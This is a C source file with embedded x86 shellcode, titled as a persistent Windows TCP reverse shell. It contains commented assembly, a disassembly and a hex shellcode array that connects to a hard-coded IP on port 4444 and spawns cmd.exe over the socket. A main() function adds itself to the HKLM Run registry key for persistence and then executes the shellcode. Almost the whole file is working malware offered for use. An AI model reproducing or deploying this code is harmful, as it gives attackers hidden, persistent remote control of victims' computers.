607 lines
No EOL
16 KiB
C
607 lines
No EOL
16 KiB
C
/*
|
|
# Title : Windows x86 persistent reverse shell tcp
|
|
# Author : Roziul Hasan Khan Shifat
|
|
# Date : 04-09-2016
|
|
# Tested on : Windows 7 x86
|
|
*/
|
|
|
|
|
|
/*
|
|
Note : This program must be run as adminstrator for 1st time . otherwise it won't be persistent
|
|
*/
|
|
|
|
|
|
/*
|
|
section .text
|
|
global _start
|
|
_start:
|
|
|
|
|
|
xor ecx,ecx
|
|
mov eax,[fs:ecx+0x30] ;PEB
|
|
mov eax,[eax+0xc] ;PEB->Ldr
|
|
mov esi,[eax+0x14] ;PEB->ldr.InMemOrderModuleList
|
|
lodsd
|
|
xchg esi,eax
|
|
lodsd
|
|
mov ecx,[eax+0x10] ;kernel32.dll
|
|
|
|
|
|
mov ebx,[ecx+0x3c] ;DOS->elf_anew
|
|
add ebx,ecx ;PE HEADER
|
|
mov ebx,[ebx+0x78] ;DataDirectory->VirtualAddress
|
|
add ebx,ecx ;IMAGE_EXPORT_DIRECTORY
|
|
|
|
mov esi,[ebx+0x20] ;AddressOfNames
|
|
add esi,ecx
|
|
|
|
|
|
xor edx,edx
|
|
|
|
g:
|
|
|
|
inc edx
|
|
lodsd
|
|
add eax,ecx
|
|
cmp dword [eax],'GetP'
|
|
jne g
|
|
cmp dword [eax+4],'rocA'
|
|
jne g
|
|
cmp dword [eax+8],'ddre'
|
|
jne g
|
|
|
|
mov esi,[ebx+0x1c] ;AddressOfFunctions
|
|
add esi,ecx
|
|
|
|
|
|
mov edx,[esi+edx*4]
|
|
add edx,ecx ;GetProcAddress()
|
|
|
|
xor eax,eax
|
|
push eax
|
|
|
|
sub esp,24
|
|
|
|
lea esi,[esp]
|
|
|
|
mov [esi],dword edx ;GetProcAddress() at offset 0
|
|
mov edi,ecx ;kernel32.dll
|
|
|
|
;------------------------------
|
|
;finding address of CreateProcessA()
|
|
|
|
push 0x42424173
|
|
mov [esp+2],word ax
|
|
push 0x7365636f
|
|
push 0x72506574
|
|
push 0x61657243
|
|
|
|
lea eax,[esp]
|
|
|
|
push eax
|
|
push ecx
|
|
|
|
call edx
|
|
;----------------------------
|
|
add esp,16
|
|
|
|
mov [esi+4],dword eax ;CreateProcessA() at offset 4
|
|
;-----------------------------
|
|
;finding address of ExitProcess()
|
|
xor ecx,ecx
|
|
push 0x41737365
|
|
mov [esp+3],byte cl
|
|
push 0x636f7250
|
|
push 0x74697845
|
|
|
|
lea ecx,[esp]
|
|
|
|
push ecx
|
|
push edi
|
|
|
|
call dword [esi]
|
|
|
|
add esp,12
|
|
|
|
mov [esi+8],dword eax ;ExitProcess() at offset 8
|
|
;-----------------------------------------------------
|
|
;loading ws2_32.dll
|
|
|
|
|
|
xor ecx,ecx
|
|
push ecx
|
|
push 0x41797261
|
|
push 0x7262694c
|
|
push 0x64616f4c
|
|
|
|
lea ecx,[esp]
|
|
|
|
push ecx
|
|
push edi
|
|
|
|
call dword [esi]
|
|
|
|
add esp,12
|
|
|
|
xor ecx,ecx
|
|
push 0x41416c6c
|
|
mov [esp+2],word cx
|
|
push 0x642e3233
|
|
push 0x5f327377
|
|
lea ecx,[esp]
|
|
|
|
push ecx
|
|
call eax
|
|
add esp,8
|
|
|
|
mov edi,eax ;ws2_32.dll
|
|
|
|
;-----------------------------------
|
|
;finding address of WSAStartup()
|
|
xor ecx,ecx
|
|
push 0x41417075
|
|
mov [esp+2],word cx
|
|
push 0x74726174
|
|
push 0x53415357
|
|
|
|
lea ecx,[esp]
|
|
push ecx
|
|
push eax
|
|
|
|
call dword [esi]
|
|
add esp,12
|
|
|
|
mov [esi+12],dword eax ;WSAStartup() at offset 12
|
|
|
|
;------------------------------------------
|
|
;finding address of WSASocketA()
|
|
|
|
xor ecx,ecx
|
|
push 0x42424174
|
|
mov [esp+2],word cx
|
|
push 0x656b636f
|
|
push 0x53415357
|
|
|
|
lea ecx,[esp]
|
|
|
|
push ecx
|
|
push edi
|
|
|
|
call dword [esi]
|
|
add esp,12
|
|
|
|
mov [esi+16],dword eax ;WSASocketA() at offset 16
|
|
;-----------------------------
|
|
;finding address of WSAConnect()
|
|
xor ecx,ecx
|
|
push 0x41417463
|
|
mov [esp+2],word cx
|
|
push 0x656e6e6f
|
|
push 0x43415357
|
|
|
|
lea ecx,[esp]
|
|
|
|
push ecx
|
|
push edi
|
|
|
|
call dword [esi]
|
|
add esp,12
|
|
|
|
mov [esi+20],dword eax ;WSAConnect() at offset 20
|
|
;------------------------------------------------
|
|
|
|
;WSAStartup(514, &WSADATA)
|
|
|
|
xor ecx,ecx
|
|
push ecx
|
|
mov cx,400
|
|
|
|
sub esp,ecx
|
|
|
|
lea ecx,[esp]
|
|
|
|
xor ebx,ebx
|
|
mov bx,514
|
|
|
|
push ecx
|
|
push ebx
|
|
|
|
call dword [esi+12]
|
|
|
|
;-------------------------------
|
|
|
|
;WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,NULL,NULL)
|
|
|
|
xor ecx,ecx
|
|
push ecx
|
|
push ecx
|
|
push ecx
|
|
|
|
mov cl,6
|
|
push ecx
|
|
|
|
sub ecx,5
|
|
push ecx
|
|
|
|
inc ecx
|
|
push ecx
|
|
|
|
call dword [esi+16]
|
|
|
|
xchg edi,eax ;SOCKET
|
|
|
|
;--------------------------------------------------
|
|
;WSAConnect(Winsock,(SOCKADDR*)&hax,sizeof(hax),NULL,NULL,NULL,NULL)
|
|
xor ecx,ecx
|
|
push ecx
|
|
push ecx
|
|
push ecx
|
|
push ecx
|
|
|
|
mov [esp],byte 2
|
|
mov [esp+2],word 0x5c11 ;port 4444 (change it if U want)
|
|
mov [esp+4],dword 0x81e8a8c0 ;Change it
|
|
|
|
connect:
|
|
xor ecx,ecx
|
|
lea ebx,[esp]
|
|
|
|
push ecx
|
|
push ecx
|
|
push ecx
|
|
push ecx
|
|
|
|
|
|
mov cl,16
|
|
|
|
|
|
push ecx
|
|
push ebx
|
|
push edi
|
|
|
|
call dword [esi+20]
|
|
xor ecx,ecx
|
|
|
|
cmp eax,ecx
|
|
jnz connect
|
|
;----------------------------------------------
|
|
|
|
xor ecx,ecx
|
|
|
|
sub esp,16
|
|
lea edx,[esp] ;PROCESS_INFORMATION
|
|
|
|
push edi
|
|
push edi
|
|
push edi
|
|
push ecx
|
|
push word cx
|
|
push word cx
|
|
|
|
mov cl,255
|
|
inc ecx
|
|
|
|
push ecx
|
|
xor ecx,ecx
|
|
|
|
push ecx
|
|
push ecx
|
|
push ecx
|
|
push ecx
|
|
push ecx
|
|
push ecx
|
|
push ecx
|
|
push ecx
|
|
push ecx
|
|
push ecx
|
|
|
|
mov cl,68
|
|
|
|
push ecx
|
|
|
|
lea ecx,[esp]
|
|
|
|
|
|
xor edx,edx
|
|
push 0x41657865
|
|
mov [esp+3],byte dl
|
|
push 0x2e646d63
|
|
|
|
lea edx,[esp]
|
|
;-----------------------------
|
|
;CreateProcessA(NULL,"cmd.exe",NULL,NULL,TRUE,0,NULL,NULL,&ini_processo,&processo_info)
|
|
|
|
push ebx
|
|
push ecx
|
|
|
|
xor ecx,ecx
|
|
|
|
push ecx
|
|
push ecx
|
|
push ecx
|
|
|
|
inc ecx
|
|
push ecx
|
|
xor ecx,ecx
|
|
|
|
push ecx
|
|
push ecx
|
|
push edx
|
|
push ecx
|
|
|
|
call dword [esi+4]
|
|
|
|
push eax
|
|
call dword [esi+8]
|
|
*/
|
|
|
|
|
|
/*
|
|
Disassembly of section .text:
|
|
|
|
00000000 <_start>:
|
|
0: 31 c9 xor %ecx,%ecx
|
|
2: 64 8b 41 30 mov %fs:0x30(%ecx),%eax
|
|
6: 8b 40 0c mov 0xc(%eax),%eax
|
|
9: 8b 70 14 mov 0x14(%eax),%esi
|
|
c: ad lods %ds:(%esi),%eax
|
|
d: 96 xchg %eax,%esi
|
|
e: ad lods %ds:(%esi),%eax
|
|
f: 8b 48 10 mov 0x10(%eax),%ecx
|
|
12: 8b 59 3c mov 0x3c(%ecx),%ebx
|
|
15: 01 cb add %ecx,%ebx
|
|
17: 8b 5b 78 mov 0x78(%ebx),%ebx
|
|
1a: 01 cb add %ecx,%ebx
|
|
1c: 8b 73 20 mov 0x20(%ebx),%esi
|
|
1f: 01 ce add %ecx,%esi
|
|
21: 31 d2 xor %edx,%edx
|
|
|
|
00000023 <g>:
|
|
23: 42 inc %edx
|
|
24: ad lods %ds:(%esi),%eax
|
|
25: 01 c8 add %ecx,%eax
|
|
27: 81 38 47 65 74 50 cmpl $0x50746547,(%eax)
|
|
2d: 75 f4 jne 23 <g>
|
|
2f: 81 78 04 72 6f 63 41 cmpl $0x41636f72,0x4(%eax)
|
|
36: 75 eb jne 23 <g>
|
|
38: 81 78 08 64 64 72 65 cmpl $0x65726464,0x8(%eax)
|
|
3f: 75 e2 jne 23 <g>
|
|
41: 8b 73 1c mov 0x1c(%ebx),%esi
|
|
44: 01 ce add %ecx,%esi
|
|
46: 8b 14 96 mov (%esi,%edx,4),%edx
|
|
49: 01 ca add %ecx,%edx
|
|
4b: 31 c0 xor %eax,%eax
|
|
4d: 50 push %eax
|
|
4e: 83 ec 18 sub $0x18,%esp
|
|
51: 8d 34 24 lea (%esp),%esi
|
|
54: 89 16 mov %edx,(%esi)
|
|
56: 89 cf mov %ecx,%edi
|
|
58: 68 73 41 42 42 push $0x42424173
|
|
5d: 66 89 44 24 02 mov %ax,0x2(%esp)
|
|
62: 68 6f 63 65 73 push $0x7365636f
|
|
67: 68 74 65 50 72 push $0x72506574
|
|
6c: 68 43 72 65 61 push $0x61657243
|
|
71: 8d 04 24 lea (%esp),%eax
|
|
74: 50 push %eax
|
|
75: 51 push %ecx
|
|
76: ff d2 call *%edx
|
|
78: 83 c4 10 add $0x10,%esp
|
|
7b: 89 46 04 mov %eax,0x4(%esi)
|
|
7e: 31 c9 xor %ecx,%ecx
|
|
80: 68 65 73 73 41 push $0x41737365
|
|
85: 88 4c 24 03 mov %cl,0x3(%esp)
|
|
89: 68 50 72 6f 63 push $0x636f7250
|
|
8e: 68 45 78 69 74 push $0x74697845
|
|
93: 8d 0c 24 lea (%esp),%ecx
|
|
96: 51 push %ecx
|
|
97: 57 push %edi
|
|
98: ff 16 call *(%esi)
|
|
9a: 83 c4 0c add $0xc,%esp
|
|
9d: 89 46 08 mov %eax,0x8(%esi)
|
|
a0: 31 c9 xor %ecx,%ecx
|
|
a2: 51 push %ecx
|
|
a3: 68 61 72 79 41 push $0x41797261
|
|
a8: 68 4c 69 62 72 push $0x7262694c
|
|
ad: 68 4c 6f 61 64 push $0x64616f4c
|
|
b2: 8d 0c 24 lea (%esp),%ecx
|
|
b5: 51 push %ecx
|
|
b6: 57 push %edi
|
|
b7: ff 16 call *(%esi)
|
|
b9: 83 c4 0c add $0xc,%esp
|
|
bc: 31 c9 xor %ecx,%ecx
|
|
be: 68 6c 6c 41 41 push $0x41416c6c
|
|
c3: 66 89 4c 24 02 mov %cx,0x2(%esp)
|
|
c8: 68 33 32 2e 64 push $0x642e3233
|
|
cd: 68 77 73 32 5f push $0x5f327377
|
|
d2: 8d 0c 24 lea (%esp),%ecx
|
|
d5: 51 push %ecx
|
|
d6: ff d0 call *%eax
|
|
d8: 83 c4 08 add $0x8,%esp
|
|
db: 89 c7 mov %eax,%edi
|
|
dd: 31 c9 xor %ecx,%ecx
|
|
df: 68 75 70 41 41 push $0x41417075
|
|
e4: 66 89 4c 24 02 mov %cx,0x2(%esp)
|
|
e9: 68 74 61 72 74 push $0x74726174
|
|
ee: 68 57 53 41 53 push $0x53415357
|
|
f3: 8d 0c 24 lea (%esp),%ecx
|
|
f6: 51 push %ecx
|
|
f7: 50 push %eax
|
|
f8: ff 16 call *(%esi)
|
|
fa: 83 c4 0c add $0xc,%esp
|
|
fd: 89 46 0c mov %eax,0xc(%esi)
|
|
100: 31 c9 xor %ecx,%ecx
|
|
102: 68 74 41 42 42 push $0x42424174
|
|
107: 66 89 4c 24 02 mov %cx,0x2(%esp)
|
|
10c: 68 6f 63 6b 65 push $0x656b636f
|
|
111: 68 57 53 41 53 push $0x53415357
|
|
116: 8d 0c 24 lea (%esp),%ecx
|
|
119: 51 push %ecx
|
|
11a: 57 push %edi
|
|
11b: ff 16 call *(%esi)
|
|
11d: 83 c4 0c add $0xc,%esp
|
|
120: 89 46 10 mov %eax,0x10(%esi)
|
|
123: 31 c9 xor %ecx,%ecx
|
|
125: 68 63 74 41 41 push $0x41417463
|
|
12a: 66 89 4c 24 02 mov %cx,0x2(%esp)
|
|
12f: 68 6f 6e 6e 65 push $0x656e6e6f
|
|
134: 68 57 53 41 43 push $0x43415357
|
|
139: 8d 0c 24 lea (%esp),%ecx
|
|
13c: 51 push %ecx
|
|
13d: 57 push %edi
|
|
13e: ff 16 call *(%esi)
|
|
140: 83 c4 0c add $0xc,%esp
|
|
143: 89 46 14 mov %eax,0x14(%esi)
|
|
146: 31 c9 xor %ecx,%ecx
|
|
148: 51 push %ecx
|
|
149: 66 b9 90 01 mov $0x190,%cx
|
|
14d: 29 cc sub %ecx,%esp
|
|
14f: 8d 0c 24 lea (%esp),%ecx
|
|
152: 31 db xor %ebx,%ebx
|
|
154: 66 bb 02 02 mov $0x202,%bx
|
|
158: 51 push %ecx
|
|
159: 53 push %ebx
|
|
15a: ff 56 0c call *0xc(%esi)
|
|
15d: 31 c9 xor %ecx,%ecx
|
|
15f: 51 push %ecx
|
|
160: 51 push %ecx
|
|
161: 51 push %ecx
|
|
162: b1 06 mov $0x6,%cl
|
|
164: 51 push %ecx
|
|
165: 83 e9 05 sub $0x5,%ecx
|
|
168: 51 push %ecx
|
|
169: 41 inc %ecx
|
|
16a: 51 push %ecx
|
|
16b: ff 56 10 call *0x10(%esi)
|
|
16e: 97 xchg %eax,%edi
|
|
16f: 31 c9 xor %ecx,%ecx
|
|
171: 51 push %ecx
|
|
172: 51 push %ecx
|
|
173: 51 push %ecx
|
|
174: 51 push %ecx
|
|
175: c6 04 24 02 movb $0x2,(%esp)
|
|
179: 66 c7 44 24 02 11 5c movw $0x5c11,0x2(%esp)
|
|
180: c7 44 24 04 c0 a8 e8 movl $0x81e8a8c0,0x4(%esp)
|
|
187: 81
|
|
|
|
00000188 <connect>:
|
|
188: 31 c9 xor %ecx,%ecx
|
|
18a: 8d 1c 24 lea (%esp),%ebx
|
|
18d: 51 push %ecx
|
|
18e: 51 push %ecx
|
|
18f: 51 push %ecx
|
|
190: 51 push %ecx
|
|
191: b1 10 mov $0x10,%cl
|
|
193: 51 push %ecx
|
|
194: 53 push %ebx
|
|
195: 57 push %edi
|
|
196: ff 56 14 call *0x14(%esi)
|
|
199: 31 c9 xor %ecx,%ecx
|
|
19b: 39 c8 cmp %ecx,%eax
|
|
19d: 75 e9 jne 188 <connect>
|
|
19f: 31 c9 xor %ecx,%ecx
|
|
1a1: 83 ec 10 sub $0x10,%esp
|
|
1a4: 8d 14 24 lea (%esp),%edx
|
|
1a7: 57 push %edi
|
|
1a8: 57 push %edi
|
|
1a9: 57 push %edi
|
|
1aa: 51 push %ecx
|
|
1ab: 66 51 push %cx
|
|
1ad: 66 51 push %cx
|
|
1af: b1 ff mov $0xff,%cl
|
|
1b1: 41 inc %ecx
|
|
1b2: 51 push %ecx
|
|
1b3: 31 c9 xor %ecx,%ecx
|
|
1b5: 51 push %ecx
|
|
1b6: 51 push %ecx
|
|
1b7: 51 push %ecx
|
|
1b8: 51 push %ecx
|
|
1b9: 51 push %ecx
|
|
1ba: 51 push %ecx
|
|
1bb: 51 push %ecx
|
|
1bc: 51 push %ecx
|
|
1bd: 51 push %ecx
|
|
1be: 51 push %ecx
|
|
1bf: b1 44 mov $0x44,%cl
|
|
1c1: 51 push %ecx
|
|
1c2: 8d 0c 24 lea (%esp),%ecx
|
|
1c5: 31 d2 xor %edx,%edx
|
|
1c7: 68 65 78 65 41 push $0x41657865
|
|
1cc: 88 54 24 03 mov %dl,0x3(%esp)
|
|
1d0: 68 63 6d 64 2e push $0x2e646d63
|
|
1d5: 8d 14 24 lea (%esp),%edx
|
|
1d8: 53 push %ebx
|
|
1d9: 51 push %ecx
|
|
1da: 31 c9 xor %ecx,%ecx
|
|
1dc: 51 push %ecx
|
|
1dd: 51 push %ecx
|
|
1de: 51 push %ecx
|
|
1df: 41 inc %ecx
|
|
1e0: 51 push %ecx
|
|
1e1: 31 c9 xor %ecx,%ecx
|
|
1e3: 51 push %ecx
|
|
1e4: 51 push %ecx
|
|
1e5: 52 push %edx
|
|
1e6: 51 push %ecx
|
|
1e7: ff 56 04 call *0x4(%esi)
|
|
1ea: 50 push %eax
|
|
1eb: ff 56 08 call *0x8(%esi)
|
|
*/
|
|
|
|
|
|
#include<stdio.h>
|
|
#include<windows.h>
|
|
#include<string.h>
|
|
|
|
char shellcode[]=\
|
|
|
|
"\x31\xc9\x64\x8b\x41\x30\x8b\x40\x0c\x8b\x70\x14\xad\x96\xad\x8b\x48\x10\x8b\x59\x3c\x01\xcb\x8b\x5b\x78\x01\xcb\x8b\x73\x20\x01\xce\x31\xd2\x42\xad\x01\xc8\x81\x38\x47\x65\x74\x50\x75\xf4\x81\x78\x04\x72\x6f\x63\x41\x75\xeb\x81\x78\x08\x64\x64\x72\x65\x75\xe2\x8b\x73\x1c\x01\xce\x8b\x14\x96\x01\xca\x31\xc0\x50\x83\xec\x18\x8d\x34\x24\x89\x16\x89\xcf\x68\x73\x41\x42\x42\x66\x89\x44\x24\x02\x68\x6f\x63\x65\x73\x68\x74\x65\x50\x72\x68\x43\x72\x65\x61\x8d\x04\x24\x50\x51\xff\xd2\x83\xc4\x10\x89\x46\x04\x31\xc9\x68\x65\x73\x73\x41\x88\x4c\x24\x03\x68\x50\x72\x6f\x63\x68\x45\x78\x69\x74\x8d\x0c\x24\x51\x57\xff\x16\x83\xc4\x0c\x89\x46\x08\x31\xc9\x51\x68\x61\x72\x79\x41\x68\x4c\x69\x62\x72\x68\x4c\x6f\x61\x64\x8d\x0c\x24\x51\x57\xff\x16\x83\xc4\x0c\x31\xc9\x68\x6c\x6c\x41\x41\x66\x89\x4c\x24\x02\x68\x33\x32\x2e\x64\x68\x77\x73\x32\x5f\x8d\x0c\x24\x51\xff\xd0\x83\xc4\x08\x89\xc7\x31\xc9\x68\x75\x70\x41\x41\x66\x89\x4c\x24\x02\x68\x74\x61\x72\x74\x68\x57\x53\x41\x53\x8d\x0c\x24\x51\x50\xff\x16\x83\xc4\x0c\x89\x46\x0c\x31\xc9\x68\x74\x41\x42\x42\x66\x89\x4c\x24\x02\x68\x6f\x63\x6b\x65\x68\x57\x53\x41\x53\x8d\x0c\x24\x51\x57\xff\x16\x83\xc4\x0c\x89\x46\x10\x31\xc9\x68\x63\x74\x41\x41\x66\x89\x4c\x24\x02\x68\x6f\x6e\x6e\x65\x68\x57\x53\x41\x43\x8d\x0c\x24\x51\x57\xff\x16\x83\xc4\x0c\x89\x46\x14\x31\xc9\x51\x66\xb9\x90\x01\x29\xcc\x8d\x0c\x24\x31\xdb\x66\xbb\x02\x02\x51\x53\xff\x56\x0c\x31\xc9\x51\x51\x51\xb1\x06\x51\x83\xe9\x05\x51\x41\x51\xff\x56\x10\x97\x31\xc9\x51\x51\x51\x51\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x11\x5c\xc7\x44\x24\x04\xc0\xa8\xe8\x81\x31\xc9\x8d\x1c\x24\x51\x51\x51\x51\xb1\x10\x51\x53\x57\xff\x56\x14\x31\xc9\x39\xc8\x75\xe9\x31\xc9\x83\xec\x10\x8d\x14\x24\x57\x57\x57\x51\x66\x51\x66\x51\xb1\xff\x41\x51\x31\xc9\x51\x51\x51\x51\x51\x51\x51\x51\x51\x51\xb1\x44\x51\x8d\x0c\x24\x31\xd2\x68\x65\x78\x65\x41\x88\x54\x24\x03\x68\x63\x6d\x64\x2e\x8d\x14\x24\x53\x51\x31\xc9\x51\x51\x51\x41\x51\x31\xc9\x51\x51\x52\x51\xff\x56\x04\x50\xff\x56\x08";
|
|
|
|
int main(int li,char *a[])
|
|
{
|
|
char info[200];
|
|
DWORD l;
|
|
HKEY i;
|
|
|
|
|
|
RegOpenKeyA(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&i);
|
|
int r= RegQueryValueExA(i,"reverse_shell_tcp",0,NULL,(LPBYTE)info,&l);
|
|
|
|
if(i!=0)
|
|
{
|
|
RegSetValueExA(i,"reverse_shell_tcp",0,REG_SZ,a[0],strlen(a[0]));
|
|
RegCloseKey(i);
|
|
}
|
|
else
|
|
RegCloseKey(i);
|
|
|
|
|
|
|
|
|
|
int mode;
|
|
|
|
|
|
|
|
if(li==1)
|
|
mode=1;
|
|
else
|
|
mode=atoi(a[1]);
|
|
|
|
switch(mode)
|
|
{
|
|
|
|
|
|
|
|
case 78:
|
|
(* (int(*)())shellcode )();
|
|
break;
|
|
|
|
case 1:
|
|
default:
|
|
ShellExecute(NULL,NULL,a[0],"78",NULL,0);
|
|
break;
|
|
}
|
|
|
|
|
|
return 0;
|
|
|
|
} |